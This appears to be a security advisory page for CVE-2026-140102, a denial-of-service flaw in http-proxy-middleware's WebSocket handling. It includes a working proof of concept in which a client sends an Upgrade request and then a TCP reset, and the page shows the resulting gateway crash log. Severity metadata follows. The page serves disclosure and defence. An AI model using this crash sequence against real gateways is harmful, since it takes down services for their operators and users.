HIGHCVSS v3.1 7.5Vulnerability

CVE-2026-140102

### Proof of concept 1. run `gateway.js` ```js import http from "http"; import { createProxyMiddleware } from "http-proxy-middleware"; const neverTrigger = () => console.log("neverTrigger"); const proxy = createProxyMiddleware({ target: "http://example.com", pathFilter: "/ws", ws: true, on: { error: neverTrigger } }); const server = http.createServer((req, res) => proxy( req, res, () => res.writeHead(404).end() )); server.on("upgrade", proxy.upgrade); server.on("error", neverTrigger); server.on("clientError", neverTrigger); server.listen(5056, "127.0.0.1"); ``` 2. run `client.js` ```js import net from "net"; const socket = net.connect(5056, "127.0.0.1", () => { socket.write("GET / HTTP/1.1\r\nHost: 127.0.0.1\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\r\n"); setTimeout(() => socket.resetAndDestroy(), 100); }); ``` 3. gateway process crash ``` node:events:505 throw er; // Unhandled 'error' event ^ Error: read ECONNRESET at TCP.onStreamRead (node:internal/stream_base_commons:221:20) Emitted 'error' event on Socket instance at: at emitErrorNT (node:internal/streams/destroy:170:8) at emitErrorCloseNT (node:internal/streams/destroy:129:3) at process.processTicksAndRejections (node:internal/process/task_queues:90:21) { errno: -54, code: 'ECONNRESET', syscall: 'read' } Node.js v24.22.3 ``` ### Impact A remote unauthenticated attacker can crash the whole gateway process with a single `Upgrade` request and a TCP RST, even when `on.error` and the server's `error` and `clientError` events are all handled.

Properties

Severity
high
Summary
http-proxy-middleware: Unauthenticated remote gateway crash via an `Upgrade` request to a path outside `pathFilter` followed by a TCP RST (ws: true)
Nvd fetched at
2026-12-02T06:37:54.190518+00:00
Epss score
0.01018
Cvss severity
HIGH
Cvss score
7.5
Retrieved at
2026-12-02T06:40:14+00:00
Ghsa published
2026-12-01T18:41:09Z
Source url
https://github.com/advisories/GHSA-hvp5-3mrg-q5hg
Ghsa updated
2026-12-01T18:41:11Z
Ghsa id
GHSA-hvp5-3mrg-q5hg
Last source
FIRST EPSS
Score
7.5
Cvss version
3.1
Cve id
CVE-2026-140102
Cvss vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
First seen by Signal
2026-12-01T02:29:47+00:00
Name
CVE-2026-140102
Is ghsa only
false
Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Related Entities (3)

AFFECTS (1)

HAS_WEAKNESS (1)

→[Weakness]Uncaught Exception

VULNERABLE_TO (1)

Related research

Explore deeper with Ninja Signal's threat intelligence graph

CVE-2026-140102 (CVSS v3.1 7.5) — Ninja Signal Threat Intelligence | Ninja Signal